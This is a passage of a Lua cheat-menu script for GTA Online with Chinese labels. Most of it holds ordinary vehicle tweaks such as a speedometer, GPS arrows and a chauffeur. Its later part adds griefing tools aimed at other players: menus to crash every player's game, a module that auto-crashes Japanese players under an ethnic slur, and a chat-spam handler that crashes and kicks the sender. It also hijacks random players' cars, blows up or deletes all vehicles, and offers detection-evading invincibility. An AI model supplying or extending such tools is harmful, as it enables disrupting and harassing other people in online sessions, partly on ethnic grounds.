        directx.draw_texture(needle, 0.023, 0.023, 0.88, 0.125, tachometer_x_pos+0.117, tachometer_y_pos-0.090, tach_rotation, white)
        -- rpm text
        directx.draw_text(tachometer_x_pos+0.108, tachometer_y_pos-0.031, math.ceil(rpm*6000), 5, 0.7, white, true)
        -- gear text 
        gear = entities.get_current_gear(v_hdl)
        if gear == 0 and vecs.y < 0 then
            gear = "R"
        end
        if VEHICLE.GET_VEHICLE_ENGINE_HEALTH(vehicle) < 1000 then
            directx.draw_texture(check_engine_light, 0.01, 0.01, 0.5, 0.5, lights_x_pos + 0.60, lights_y_pos, 0, orange)
        end
        VEHICLE.GET_VEHICLE_LIGHTS_STATE(vehicle, lights, high_lights)
        if memory.read_byte(lights) == 1 then 
            if memory.read_byte(high_lights) == 1 then 
                directx.draw_texture(high_beam, 0.01, 0.01, 0.5, 0.5, lights_x_pos + 0.30, lights_y_pos, 0, blue)
            else
                directx.draw_texture(low_beam, 0.01, 0.01, 0.5, 0.5, lights_x_pos + 0.30, lights_y_pos, 0, green)
            end
        end
        any_tires_burst = false 
        for i = 1, 4 do 
            if VEHICLE.IS_VEHICLE_TYRE_BURST(vehicle, i, false) then 
                any_tires_burst = true 
            end
        end
        if any_tires_burst then 
            directx.draw_texture(tpms, 0.01, 0.01, 0.5, 0.5, lights_x_pos + 0.08, lights_y_pos, 0, orange)
        end

        directx.draw_text(gear_x_pos + 0.18, gear_y_pos, gear, 5, 1.2, white, true)
        if VEHICLE.IS_VEHICLE_IN_BURNOUT(vehicle) or math.abs(vecs.x) > 3 then 
            directx.draw_texture(traction_control, 0.01, 0.01, 0.5, 0.5, lights_x_pos + 0.27, lights_y_pos, 0, orange)
        end
    end
    wait()
end
end)

mph_plate = false
GTTG(speedometer_plate_root, "车牌速度显示", {}, "将车牌文本设置为车辆的当前速度。", function(on)
    mph_plate = on
    if on then
        if player_cur_car ~= 0 then
            original_plate = VEHICLE.GET_VEHICLE_NUMBER_PLATE_TEXT(player_cur_car)
        else
            notification("启动时您不在车内。您将无法还原车牌文本。")
            original_plate = "GT"
        end
    else
        if player_cur_car ~= 0 then
            if original_plate == nil then
                original_plate = "GT"
            end
            VEHICLE.SET_VEHICLE_NUMBER_PLATE_TEXT(player_cur_car, original_plate)
        end
    end
end)

GTLP(veh_func, "上车时自动打开电台", {"autotune"}, "上车后执行'tune'命令.", function()
    local localped = GetLocalPed()
    if PED.IS_PED_GETTING_INTO_A_VEHICLE(localped) then
        GTluaScript.trigger_commands("tune")
    end
end)

GTAC(veh_func, "将载具上下颠倒", {}, "", function ()
    UpsideDownVehicleRotationWithKeys()
end)

local fastTurnVehicleScale = 3

veh_control = GT(carfly, '控制选项', {}, '')

GTLP(veh_control, "载具快速定制转弯", {}, "用A/D键快速转动载具.", function ()
    FastTurnVehicleWithKeys(fastTurnVehicleScale)
end)

GTluaScript.slider(veh_control, "载具快速定制转弯强度", {"vehfastturn"}, "设置自定义转弯的比例.", 1, 1000, 30, 5, function(value)
    fastTurnVehicleScale = value / 10
end)

GTLP(veh_control, "解锁你射击的载具", {"unlockvehshot"}, "这将在锁定的玩家载具上起作用.", function ()
    UnlockVehicleShoot()
end)

GTLP(veh_control, "解锁你试图进入的载具", {"unlockvehget"}, "这将在锁定的玩家载具上起作用.", function ()
    UnlockVehicleGetIn()
end)

SuperVehMultiply = 1.2

BetterSuperDrive = false
GTTG(veh_control, "速度更改 (锁定)", {"vehmultiply"}, "", function (superd)
    if superd then
        local localped = GetLocalPed()
        BetterSuperDrive = true
        util.create_thread(function()
            while BetterSuperDrive do
                if PED.IS_PED_IN_ANY_VEHICLE(localped, false) then
                        local veh = PED.GET_VEHICLE_PED_IS_IN(localped, false)
                        local vehVel = ENTITY.GET_ENTITY_VELOCITY(veh)
                        local newVel = {x = vehVel.x * SuperVehMultiply, y = vehVel.y * SuperVehMultiply, z = vehVel.z * SuperVehMultiply}
                        ENTITY.SET_ENTITY_VELOCITY(veh, newVel.x, newVel.y, newVel.z)
                        wait(100)
                end
                wait()
            end
            util.stop_thread()
        end)
    else
        BetterSuperDrive = false
    end
end)

GTTG(veh_control, "速度更改 (绑定到LShift)", {"vehmultiplyshift"}, "", function (superd)
    if superd then
        local localped = GetLocalPed()
        BetterSuperDrive = true
        util.create_thread(function()
            while BetterSuperDrive do
                if PED.IS_PED_IN_ANY_VEHICLE(localped, false) then
                    if PAD.IS_CONTROL_PRESSED(0, 21) then 
                        local veh = PED.GET_VEHICLE_PED_IS_IN(localped, false)
                        local vehVel = ENTITY.GET_ENTITY_VELOCITY(veh)
                        local newVel = {x = vehVel.x * SuperVehMultiply, y = vehVel.y * SuperVehMultiply, z = vehVel.z * SuperVehMultiply}
                        ENTITY.SET_ENTITY_VELOCITY(veh, newVel.x, newVel.y, newVel.z)
                        wait(100)
                    end
                end
                wait()
            end
            util.stop_thread()
        end)
    else
        BetterSuperDrive = false
    end
end)

GTluaScript.slider(veh_control, "速度调节 (/100)", {"vehmultnum"}, "除以 100.", 1, 1000, 120, 10, function(val)
    SuperVehMultiply = val/100
end)

GTluaScript.slider(veh_func, "更换座位", {""}, "", -1, 6, -1, 1, function(value)

        local ourped = PLAYER.PLAYER_PED_ID()

    if PED.IS_PED_IN_ANY_VEHICLE(ourped, false) then

        local veh = PED.GET_VEHICLE_PED_IS_IN(ourped, false)

        PED.SET_PED_INTO_VEHICLE(ourped, veh, value)

    else

        notification("进入载具才能生效")

    end

end)


local player_ped_id
local delta_time
local player_pos
util.create_tick_handler(function ()
    player_ped_id = PLAYER.PLAYER_PED_ID()
    delta_time = MISC.GET_FRAME_TIME()
    player_pos = ENTITY.GET_ENTITY_COORDS(player_ped_id)
    return true
end)


local math_funcs = b_math_funcs.new()
local shitty_gps_colour_a = {r = 255,g = 0,b = 255,a = 255}
local shitty_gps_colour_b = {r = 255,g = 255,b = 255,a = 255}
local shitty_gps_run = false
GTTG(veh_func, "GPS导航", {"导航提示"}, "", function(value)

    local p_direction = memory.alloc(1) 
    local p_5 = memory.alloc(4) 
    local p_distToNxJunction = memory.alloc(4) 
    local p_screenX = memory.alloc(4) 
    local p_screenY = memory.alloc(4) 

    local turn_dir = 0
    shitty_gps_run = value

    if value then
    util.create_tick_handler(function ()
    local vehicle = PED.GET_VEHICLE_PED_IS_IN(PLAYER.PLAYER_PED_ID(), false)

    local waypoint_pos = get_waypoint_coords()
    local total = waypoint_pos.x + waypoint_pos.y + waypoint_pos.z

    if total ~= 0 and ENTITY.IS_ENTITY_A_VEHICLE(vehicle) then
        local height = ENTITY.GET_ENTITY_HEIGHT(vehicle, player_pos.x, player_pos.y, player_pos.z, true, false)

        PATHFIND.GENERATE_DIRECTIONS_TO_COORD(
            waypoint_pos.x,
            waypoint_pos.y,
            waypoint_pos.z,
            0,
            p_direction,
            p_5,
            p_distToNxJunction
        )

        local direction = memory.read_byte(p_direction)
        local distToNxJunction = memory.read_float(p_distToNxJunction)



        GRAPHICS.GET_SCREEN_COORD_FROM_WORLD_COORD(
            player_pos.x,
            player_pos.y,
            player_pos.z + 1.5 + height,
            p_screenX,
            p_screenY
        )
        local screen_x = memory.read_float(p_screenX)
        local screen_y = memory.read_float(p_screenY)

       if direction == 1 then
            turn_dir = math_funcs.lerp(turn_dir, 180, 5 * delta_time)
            directx.draw_text(screen_x, screen_y, "可以的话请调头", ALIGN_CENTRE, 1, shitty_gps_colour_a)
        elseif direction == 3 then
            turn_dir =  math_funcs.lerp(turn_dir, -90, 5 * delta_time)
            directx.draw_text(screen_x,screen_y,"左转 " .. math.floor(distToNxJunction) .. " 米",ALIGN_CENTRE,1,shitty_gps_colour_a)
        elseif direction == 6 then
            turn_dir =  math_funcs.lerp(turn_dir, -145, 5 * delta_time)
            directx.draw_text(screen_x,screen_y,"向左急转弯 " .. math.floor(distToNxJunction) .. " 米",ALIGN_CENTRE,1,shitty_gps_colour_a)
        elseif direction == 4 then
            turn_dir =  math_funcs.lerp(turn_dir, 90, 5 * delta_time)
            directx.draw_text(screen_x,screen_y,"右转 " .. math.floor(distToNxJunction) .. " 米",ALIGN_CENTRE,1,shitty_gps_colour_a)
        elseif direction == 7 then
            turn_dir =  math_funcs.lerp(turn_dir, 145, 5 * delta_time)
            directx.draw_text(screen_x,screen_y,"向右急转弯 " .. math.floor(distToNxJunction) .. " 米",ALIGN_CENTRE,1,shitty_gps_colour_a)
        elseif direction == 8 then
            turn_dir =  math_funcs.lerp(turn_dir, 0, 5 * delta_time)
            directx.draw_text(screen_x, screen_y, "正在计算新路线    ", ALIGN_CENTRE, 1, shitty_gps_colour_a)
        else
            turn_dir =  math_funcs.lerp(turn_dir, 0, 5 * delta_time)
        end
        local direction = ENTITY.GET_ENTITY_FORWARD_VECTOR(player_ped_id)
        local angle = b_vectors.new().vector2.get_angle(direction, {x = 0, y = 1})
        if b_vectors.new().vector2.dot({x = direction.x, y = direction.y}, {x = 1, y = 0}) > 0 then
            angle = -angle
        end
        local draw_pos = b_common_funcs.new().get_pos_above_entity(vehicle)
        draw_pos.z = draw_pos.z + 0.4
        drawing_funcs.draw_arrow(draw_pos, angle - math.rad(turn_dir), 1, shitty_gps_colour_a, shitty_gps_colour_b)
    end

    return shitty_gps_run
    end)
    else
        memory.free(p_distToNxJunction)
        memory.free(p_direction)
        memory.free(p_5)
        memory.free(p_screenX)
        memory.free(p_screenY)
    end
end)

    GTluaScript.slider_text(jesus_main, "驾驶风格", {}, "单击以选择驾驶风格", style_names, function(index, value)
        pluto_switch value do
            case "正常":
                style = 786603
                break
            case "冲刺":
                style = 1074528293
                break
            case "半冲刺":
                style = 8388614
                break
            case "反向":
                style = 1076
                break
            case "无视红绿灯":
                style = 2883621
                break
            case "避开交通":
                style = 786603
                break
            case "极度避开交通":
                style = 6
                break
            case "有时超车":
                style = 5
                break
            end
        end)
        
    jesus_toggle = GTTG(jesus_main, "启用", {}, "", function(toggled)
        if toggled then
            local player = players.user_ped()
            local pos = ENTITY.GET_ENTITY_COORDS(player, false)
            local player_veh = entities.get_user_vehicle_as_handle()
    
            if not PED.IS_PED_IN_ANY_VEHICLE(player, false) then 
                util.toast("请在载具里使用. :)")
            return end
    
            local jesus = util.joaat("u_m_m_jewelsec_01")
            request_model(jesus)
    
            
            jesus_ped = entities.create_ped(26, jesus, pos, 0)
            ENTITY.SET_ENTITY_INVINCIBLE(jesus_ped, true)
            PED.SET_BLOCKING_OF_NON_TEMPORARY_EVENTS(jesus_ped, true)
            PED.SET_PED_INTO_VEHICLE(player, player_veh, -2)
            PED.SET_PED_INTO_VEHICLE(jesus_ped, player_veh, -1)
            PED.SET_PED_KEEP_TASK(jesus_ped, true)
    
            if HUD.IS_WAYPOINT_ACTIVE() then
                local pos = HUD.GET_BLIP_COORDS(HUD.GET_FIRST_BLIP_INFO_ID(8))
                TASK.TASK_VEHICLE_DRIVE_TO_COORD_LONGRANGE(jesus_ped, player_veh, pos.x, pos.y, pos.z, 9999, style, 0)
            else
                util.toast("请先设置一个导航点. :/")
                    GTluaScript.set_value(jesus_toggle, false)
            end
        else
            if jesus_ped ~= nil then 
                entities.delete_by_handle(jesus_ped)
            end
        end
    end)

    function GotoCoordinateTask(driver, vehicle, coords, smartMethod, speed, style)
        if smartMethod then
            TASK.TASK_VEHICLE_GOTO_NAVMESH(driver, vehicle, coords.x, coords.y, coords.z, speed, style, 5.0)
        else
            local vehicleHash = ENTITY.GET_ENTITY_MODEL(vehicle)
            TASK.TASK_VEHICLE_DRIVE_TO_COORD(driver, vehicle, coords.x, coords.y, coords.z, speed, 0.0, vehicleHash, style, 5.0, 0.0)    
        end
    end
    GTAC(jesus_main, "自动驾驶(自我)", {}, "", function()
        local vehicle = PED.GET_VEHICLE_PED_IS_IN(players.user_ped(), false)
        if vehicle == 0 then util.toast("你不在载具内") end
        if VEHICLE.IS_VEHICLE_SEAT_FREE(vehicle, -1, false) then util.toast("你需要在驾驶位") end
        if not HUD.IS_WAYPOINT_ACTIVE() then util.toast("没有标记点") end
        local waypointBlip = HUD.GET_FIRST_BLIP_INFO_ID(8)
        local waypoint = HUD.GET_BLIP_COORDS(waypointBlip)
        GotoCoordinateTask(players.user_ped(), vehicle, waypoint, useSmartMethod, 50.0, 1074528293)
    end)

GTLP(veh_control, "显示载具旋转和速度", {}, "", function()
    local veh = PED.GET_VEHICLE_PED_IS_IN(GetLocalPed(), false)
    local vv = ENTITY.GET_ENTITY_ROTATION(veh, 2)
    local velMag = ENTITY.GET_ENTITY_SPEED_VECTOR(veh, true).y
    local entSpeed = ENTITY.GET_ENTITY_SPEED(veh)
    directx.draw_text(0.07, 0, "高度: " .. v3.getX(vv), 1, 0.7, WhiteText, false)
    directx.draw_text(0.07, 0.02, "弯度: " .. v3.getY(vv), 1, 0.7, WhiteText, false)
    directx.draw_text(0.07, 0.04, "偏移度: " .. v3.getZ(vv), 1, 0.7, WhiteText, false)
    directx.draw_text(0.07, 0.06, "加速度: " .. tostring(velMag), 1, 0.7, WhiteText, false)
    directx.draw_text(0.07, 0.08, "速度: " .. tostring(entSpeed), 1, 0.7, WhiteText, false)
end)

set = {}
set.alert = {}
GTTG(carfly, '车辆生成', {'Valiases'}, '激活用于生成的车辆名称别名列表，如果多人运行它，您可以使用它来关闭它', function (on)
    valiases_spawn.vehicle_alias = on
end)

valiases_spawn.vehicle_aliases = GT(carfly, '车辆生成列表', {}, '用于生成的车辆名称别名列表')
veh_spawn_see()

mph_unit = "KPH"
GTLuaScript.list_action(speedometer_plate_root, "速度单位", {}, "", {"KPH", "MPH"}, function(index, value, click_type)
    mph_unit = value
end)

GTLuaScript.list_action(chauffeur_root, "传唤司机", {"summonchauffeur"}, "", {"Stretch", "T20", "Kuruma"}, function(index, value, click_type)
    summ_car(index, value)
end)

GTAC(chauffeur_root, "驾车前往航点", {}, "", function(click_type)
    summ_car_topoint()
end)

GTAC(chauffeur_root, "传送到驾驶室", {}, "", function(click_type)
    summ_car_tp()
end)

GTAC(chauffeur_root, "自我毁灭", {}, "", function(click_type)
    summ_car_bmob()
end)

GTLP(veh_func, "载具效果", {}, "", function ()
    cargoodeffect()
end)

GTluaScript.slider_text(veh_func,"设置载具效果", {}, "", carvis, function (index)
    set_carvis(index) 
end)

local fastTurnVehicleScale = 3

GTLP(veh_control, "车辆快速自定义转弯", {}, "用 A/D 键快速转动您的车辆。", function ()
    FastTurnVehicleWithKeys(fastTurnVehicleScale)
end)

GTluaScript.slider(veh_control, "车辆快速自定义转弯刻度（/10)", {}, "设置自定义转弯的比例。", 1, 1000, 30, 5, function(value)
    fastTurnVehicleScale = value / 10
end)

	GTAC(veh_func, translate("Player - Vehicle", "清洁载具"), {"cleanvehicle"}, "", function()
		local vehicle = get_vehicle_player_is_in(pId)
		if ENTITY.DOES_ENTITY_EXIST(vehicle) and request_control(vehicle, 1000) then
			VEHICLE.SET_VEHICLE_DIRT_LEVEL(vehicle, 0.0)
		end
	end, nil, nil, COMMANDPERM_FRIENDLY)

GTluaScript.click_slider(veh_func, translate("Player - Vehicle", "设置污垢级别"), {""}, "", 0, 15, 0, 1, function(s)
    if player_cur_car ~= 0 then
        VEHICLE.SET_VEHICLE_DIRT_LEVEL(player_cur_car, s)
    end
end)

GTLP(veh_func, "隐藏载具无敌", {}, "不会被大多数菜单检测", function()
    ENTITY.SET_ENTITY_PROOFS(entities.get_user_vehicle_as_handle(), true, true, true, true, true, 0, 0, true)
    end, function() ENTITY.SET_ENTITY_PROOFS(PED.GET_VEHICLE_PED_IS_IN(player), false, false, false, false, false, 0, 0, false)
end)

GTLP(rgbvm, '彩虹载具', {}, '将载具颜色和霓虹灯更改为彩色', function ()
    rainbow_car()
end)

GTluaScript.slider(rgbvm, '速度', {''}, '调整车漆颜色变换的速度', 1, 1000, 100, 10, function (c)
    set_speed_rainbowcar(c)
end)

GTLP(rgbvm, '彩虹大灯', {}, '将霓虹灯/大灯/内饰更改为相同颜色', function ()
    rainbow_car_light()
end)
  
GTluaScript.slider(rgbvm, '速度', {''}, '调整灯光颜色变换的速度', 1, 1000, 100, 10, function (c)
    set_speed_light(c)
end)

GTLP(veh_func, "解锁瞄准乘客", {}, "允许您射击载具内的其他乘客", function()
    hittheplayerincar()
end)

noaccident = false
GTTG(veh_func, "避免事故", {"accidentavoidance"}, "使用全新技术避免车祸,特斯拉认证\n仍然需要具备一定的驾驶能力", function(on)
    if on then
        noaccident = true
        aa_thread()
    else
        noaccident = false
    end
end)

GTTG(veh_func, '减少翘头', {'Rburnout'}, '使载具不容易翘头,主要针对于肌肉车的翘头减速', function (tog)
    PHYSICS.SET_IN_ARENA_MODE(tog)
end)

renderscorched = false
GTTG(veh_func, "烤焦载具", {"renderscorched"}, "烧焦您的载具", function(on)
    if on then
        renderscorched = true
    else
        renderscorched = false
        if player_cur_car ~= 0 then
            ENTITY.SET_ENTITY_RENDER_SCORCHED(player_cur_car, false)
        end
    end
end, false)

GTAC(veh_func, "强行离开载具", {"forceleaveveh"}, "紧急情况下强行离开车辆", function(click_type)
    TASK.CLEAR_PED_TASKS_IMMEDIATELY(players.user_ped())
    TASK.TASK_LEAVE_ANY_VEHICLE(players.user_ped(), 0, 16)
end)

GTluaScript.click_slider(veh_control, "垂直堆叠", {"stackvehvert"}, "", 1, 10, 3, 1, function(s)
    setstacky(s)
end)

GTluaScript.click_slider(veh_control, "水平堆叠", {"stackvehhoriz"}, "", 1, 10, 3, 1, function(s)
    setstackx(s)
end)

GTLP(veh_func, "随机升级", {}, "仅适用于您出于某种原因生成的车辆", function()
    ramdomupdatecar()
end)

GTLP(veh_func, "强制生成反制系统", {"forcecms"}, "当您使用鸣笛键时,在任何载具中强制执行反制系统", function(on)
    forcecmsoncar()
end)

GTAC(veh_func, "远程呼叫载具", {"teslasummon"}, "非常有趣,您的车辆将会自动开过来;但由于多种原因经常中断,请进行多次尝试", function(click_type)
    teslasummoncar()
end)

GTLP(veh_func, "喇叭轰炸", {"lshornspam"}, "哔哔哔!!!", function(toggle)
    carlshormspam()
end)

GTTG(vehicle_fly, "载具飞行", {"vehfly"}, "我建议为此选项设置热键。", function(on_click)
    is_vehicle_flying = on_click
end)

GTluaScript.slider(vehicle_fly, "速度", {"speed"}, "", 1, 100, 6, 1, function(on_change) 
    speed = on_change
end)
GTTG(vehicle_fly, "触发后不停止", {"dontstop"}, "", function(on_click)
    dont_stop = on_click
end)

GTTG(vehicle_fly, "无碰撞", {"nocolision"}, "", function(on_click)
    no_collision = on_click
end)


util.create_tick_handler(function() 
    VEHICLE.SET_VEHICLE_GRAVITY(PED.GET_VEHICLE_PED_IS_IN(PLAYER.PLAYER_PED_ID(), false), not is_vehicle_flying)
    if is_vehicle_flying then do_vehicle_fly() else ENTITY.SET_ENTITY_COLLISION(PED.GET_VEHICLE_PED_IS_IN(PLAYER.PLAYER_PED_ID(), false), true, TRUE); end
    return true
end)
util.on_stop(function() 
    VEHICLE.SET_VEHICLE_GRAVITY(PED.GET_VEHICLE_PED_IS_IN(PLAYER.PLAYER_PED_ID(), false), true)
	ENTITY.SET_ENTITY_COLLISION(PED.GET_VEHICLE_PED_IS_IN(PLAYER.PLAYER_PED_ID(), false), true, TRUE);
end)

local bodyguardMenu <const> = BodyguardMenu.new(funfeatures, "保镖选项", {})

GTluaScript.click_slider(visuals, "醉酒模式", {}, "", 0, 5, 1, 1, function(val)
    drunkmode(val)
end)

visual_setting()

local allcrash = GT(custselc, "全局崩溃", {}, "魔怔选项,请您慎重!", function(); end)

local allguyssound = GT(custselc, "全局声音", {}, "", function(); end)

local allevent = GT(custselc, "全局事件", {}, "超级大坏蛋选项!", function(); end)
--
fuckjp = GT(custselc, "自动崩溃小日本")
require "lib.GTSCRIPTS.GTA.fuckjp"

vehtroll = GT(custselc,("战局载具恶搞"))

GTAC(vehtroll,("随机入侵玩家载具"), {}, "", function()
    if util.is_session_started() then
        local pids = players.list(false, true, true)
        local pid = pids[math.random(#pids)]
        local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local loops = 0
        if pid ~= players.user() then
            if not PED.IS_PED_IN_ANY_VEHICLE(ped, true) then
                repeat
                    pid = pids[math.random(#pids)]
                    ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
                    loops = loops + 1
                    util.yield(0)
                until(PED.IS_PED_IN_ANY_VEHICLE(ped, true) or loops == 31)
            end
            TASK.CLEAR_PED_TASKS_IMMEDIATELY(ped)
            control_vehicle(pid, true, function(vehicle)
                PED.SET_PED_INTO_VEHICLE(players.user_ped(), vehicle, -1)
            end)
        end
    end
end)

GTLP(vehtroll,("爆炸所有车辆"), {}, "", function()
local vehicles = entities.get_all_vehicles_as_handles()
local user_vehicle = PED.GET_VEHICLE_PED_IS_IN(players.user_ped(), true)
    for _, vehicle in pairs(vehicles) do
        if vehicle ~= user_vehicle then
            VEHICLE.EXPLODE_VEHICLE(vehicle, true, false)
        end
    end
    wait(2000)
end)

GTLP(vehtroll,("冻结所有车辆"), {}, "", function()
local vehicles = entities.get_all_vehicles_as_handles()
local user_vehicle = PED.GET_VEHICLE_PED_IS_IN(players.user_ped(), true)
    for _, vehicle in pairs(vehicles) do
        if vehicle ~= user_vehicle then
            ENTITY.FREEZE_ENTITY_POSITION(vehicle, true)
        end
    end
end, function()
    local vehicles = entities.get_all_vehicles_as_handles()
    for _, vehicle in pairs(vehicles) do
        ENTITY.FREEZE_ENTITY_POSITION(vehicle, false)
    end
end)

GTLP(vehtroll,("关闭所有重力"), {}, "", function()
local vehicles = entities.get_all_vehicles_as_handles()
local user_vehicle = PED.GET_VEHICLE_PED_IS_IN(players.user_ped(), true)
    for _, vehicle in pairs(vehicles) do
        if vehicle ~= user_vehicle then
            VEHICLE.SET_VEHICLE_GRAVITY(vehicle, false)
        end
    end
end, function()
    local vehicles = entities.get_all_vehicles_as_handles()
    for _, vehicle in pairs(vehicles) do
        VEHICLE.SET_VEHICLE_GRAVITY(vehicle, true)
    end
end)

GTLP(vehtroll,("所有车辆跳跃"), {}, "", function()
local vehicles = entities.get_all_vehicles_as_handles()
local user_vehicle = PED.GET_VEHICLE_PED_IS_IN(players.user_ped(), true)
    for _, vehicle in pairs(vehicles) do
        if vehicle ~= user_vehicle then
            ENTITY.APPLY_FORCE_TO_ENTITY(vehicle, 3, 0, 0, 10, 0.0, 0.0, 0.0, 0, true, false, true, false, true)
        end
    end
    wait(2000)
end)

GTLP(vehtroll,("车辆暴乱模式"), {}, "", function()
local vehicles = entities.get_all_vehicles_as_handles()
local user_vehicle = PED.GET_VEHICLE_PED_IS_IN(players.user_ped(), true)
    for _, vehicle in pairs(vehicles) do
        if vehicle ~= user_vehicle then
            ENTITY.APPLY_FORCE_TO_ENTITY(vehicle, 3, math.random(20, 100), math.random(20, 100), math.random(20, 100), 0.0, 0.0, 0.0, 0, true, false, true, false, true)
        end
    end
    wait(2000)
end)

GTLP(vehtroll,("所有车辆翻转"), {}, "", function()
local vehicles = entities.get_all_vehicles_as_handles()
local user_vehicle = PED.GET_VEHICLE_PED_IS_IN(players.user_ped(), true)
    for _, vehicle in pairs(vehicles) do
        if vehicle ~= user_vehicle then
            ENTITY.SET_ENTITY_ROTATION(vehicle, 0, 180, 0, 1, true)
        end
    end
end, function()
    local vehicles = entities.get_all_vehicles_as_handles()
    local user_vehicle = PED.GET_VEHICLE_PED_IS_IN(players.user_ped(), true)
    for _, vehicle in pairs(vehicles) do
        if vehicle ~= user_vehicle then
            ENTITY.SET_ENTITY_ROTATION(vehicle, 0, 0, 0, 1, true)
        end
    end
end)

GTLP(vehtroll,("删除所有车辆"), {}, "", function()
local my_pos = players.get_position(players.user())
    MISC.CLEAR_AREA_OF_VEHICLES(my_pos.x, my_pos.y, my_pos.z, 10000, false, false, false, false, false, false, false)
    wait(1000)
end)
--

apforcedacts_root = GT(custselc, "强迫载具行动", {""}, "")

GTAC(apforcedacts_root, "传送载具到我", {"tpavtome"}, "这可能有效，也可能无效。如果这不起作用，它不是一个bug", function(on_click)
    tp_all_player_cars_to_coords(ENTITY.GET_ENTITY_COORDS(PLAYER.PLAYER_PED_ID(), true))
end)

forceteleplace()


    local antichatspam = GT(custselc, '反聊天轰炸', {}, '')

    local messageTable = {}
    chat.on_message(function(pid, message_sender, text, team_chat)
        if pid == players.user() then return end
        if not chatSpamSettings.enabled then return end
        if team_chat and chatSpamSettings.ignoreTeam then return end

        if messageTable[pid] == nil then
            messageTable[pid] = {}
        end

        local messageCount = (#messageTable[pid] != nil and #messageTable[pid] or 0)
        messageTable[pid][messageCount + 1] = text

        if #messageTable[pid] < chatSpamSettings.identicalMessages then return end
        for i = 1, #messageTable[pid] - 1 do
            if messageTable[pid][#messageTable[pid]] != messageTable[pid][#messageTable[pid] - i] then
                messageTable[pid] = {}
                return
            end
            if i == #messageTable[pid] - 1 then
                menu.trigger_commands('crash'.. players.get_name(pid))
                menu.trigger_commands('kick'.. players.get_name(pid))
                util.toast('玩家' ..' '.. players.get_name(pid) ..' '.. '因聊天轰炸已被移除')
            end
        end
    end)
--
Vehicle_DoorLock_options = GT(custselc, "载具锁门", {}, "")

VehicleDoorsLock_ListItem = {
{ "解锁" }, --VEHICLELOCK_UNLOCKED == 1
{ "上锁" }, --VEHICLELOCK_LOCKED
{ "LOCKOUT PLAYER ONLY",     {}, "只对玩家锁门？" }, --VEHICLELOCK_LOCKOUT_PLAYER_ONLY
{ "玩家锁定在里面" }, --VEHICLELOCK_LOCKED_PLAYER_INSIDE
{ "LOCKED INITIALLY" }, --VEHICLELOCK_LOCKED_INITIALLY
{ "强制关闭车门" }, --VEHICLELOCK_FORCE_SHUT_DOORS
{ "上锁但可被破坏",   {}, "可以破开车窗开门" }, --VEHICLELOCK_LOCKED_BUT_CAN_BE_DAMAGED
{ "上锁但后备箱解锁" }, --VEHICLELOCK_LOCKED_BUT_BOOT_UNLOCKED
{ "上锁无乘客" }, --VEHICLELOCK_LOCKED_NO_PASSENGERS
{ "不能进入",            {}, "按F无上车动作" } --VEHICLELOCK_CANNOT_ENTER
}
vehicle_door_lock_select = 1 --选择的锁门类型
GTLuaScript.list_select(Vehicle_DoorLock_options, "锁门类型", {}, "", VehicleDoorsLock_ListItem, 1, function(value)
    vehicle_door_lock_select = value
end)

GTAC(Vehicle_DoorLock_options, "设置载具锁门", {}, "", function()
    local vehicle = entities.get_user_vehicle_as_handle()
    if vehicle ~= 0 then
        VEHICLE.SET_VEHICLE_DOORS_LOCKED(vehicle, vehicle_door_lock_select)
    end
end)

GTTG(Vehicle_DoorLock_options, "对所有玩家锁门", {}, "", function(toggle)
    local vehicle = entities.get_user_vehicle_as_handle()
    if vehicle ~= 0 then
        VEHICLE.SET_VEHICLE_DOORS_LOCKED_FOR_ALL_PLAYERS(vehicle, toggle)
    end
end)
GTTG(Vehicle_DoorLock_options, "对所有团队锁门", {}, "", function(toggle)
    local vehicle = entities.get_user_vehicle_as_handle()
    if vehicle ~= 0 then
        VEHICLE.SET_VEHICLE_DOORS_LOCKED_FOR_ALL_TEAMS(vehicle, toggle)
    end
end)
--
    GTTG(antichatspam, '反聊天轰炸', {'antiChatSpam'}, '如果有人不断发送相同的聊天信息将对他们进行崩溃与踢除', function(toggle)
        chatSpamSettings.enabled = toggle
    end)

    GTTG(antichatspam, '忽略团队聊天', {'ignoreTeamSpam'}, '', function(toggle)
        chatSpamSettings.enabled = toggle
    end, chatSpamSettings.ignoreTeam)

    GTluaScript.slider(antichatspam, '相同信息', {'identicalChatMessages'}, '检测相同的聊天信息数值', 2, 9999, chatSpamSettings.identicalMessages, 1, function(value)
        chatSpamSettings.identicalMessages = value
    end)

    local colouredotr = GT(custselc, '标记人间蒸发玩家', {}, '')

    GTLP(colouredotr, '标记人间蒸发玩家', {'colouredOtrReveal'}, '用彩色光点标记人间蒸发的玩家.', function()
        local playerList = players.list(false, true, true)
        for i, pid in pairs(playerList) do
            if players.is_otr(pid) and not markedPlayers[pid] then
                local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
                markedPlayers[pid] = HUD.ADD_BLIP_FOR_ENTITY(ped)
                HUD.SET_BLIP_COLOUR(markedPlayers[pid], otrBlipColour)
                HUD.SHOW_HEADING_INDICATOR_ON_BLIP(markedPlayers[pid], true)
            elseif players.is_otr(pid) then
                HUD.SET_BLIP_COLOUR(markedPlayers[pid], otrBlipColour)
            elseif not players.is_otr(pid) and markedPlayers[pid] then
                util.remove_blip(markedPlayers[pid])
                markedPlayers[pid] = nil
            end
        end
    end, function()
        local playerList = players.list(false, true, true)
        for i, pid in pairs(playerList) do
            if markedPlayers[pid] then
                util.remove_blip(markedPlayers[pid])
                markedPlayers[pid] = nil
            end
        end
    end)

    local otr_colour_slider = GTluaScript.slider(colouredotr, '人间蒸发 显示颜色', {'ortRevealColour'}, '',1, 81, otrBlipColour, 1, function(value)
        otrBlipColour = value + (value > 71 and 1 or 0) + (value > 77 and 2 or 0)
    end)

    GTLP(colouredotr, '人间蒸发 rgb颜色', {'JSortRgbReveal'}, '', function()
        GTluaScript.set_value(otr_colour_slider, (otrBlipColour == 84 and 1 or otrBlipColour + 1))
        wait(250)
    end)

    nukeall = GTLuaScript.list(allevent, "全局核弹")
    --
    local get_coords = function(entity)
        entity = entity or PLAYER.PLAYER_PED_ID()
        return ENTITY.GET_ENTITY_COORDS(entity, true)
    end

    local play_all = function(sound, sound_group, wait_for)
        for i=0, 31, 1 do
            AUDIO.PLAY_SOUND_FROM_ENTITY(-1, sound, PLAYER.GET_PLAYER_PED(i), sound_group, true, 20)
        end
        util.yield(wait_for)
    end

    local explode_all = function(earrape_type, wait_for)
        for i=0, 31, 1 do
            coords = get_coords(PLAYER.GET_PLAYER_PED(i))
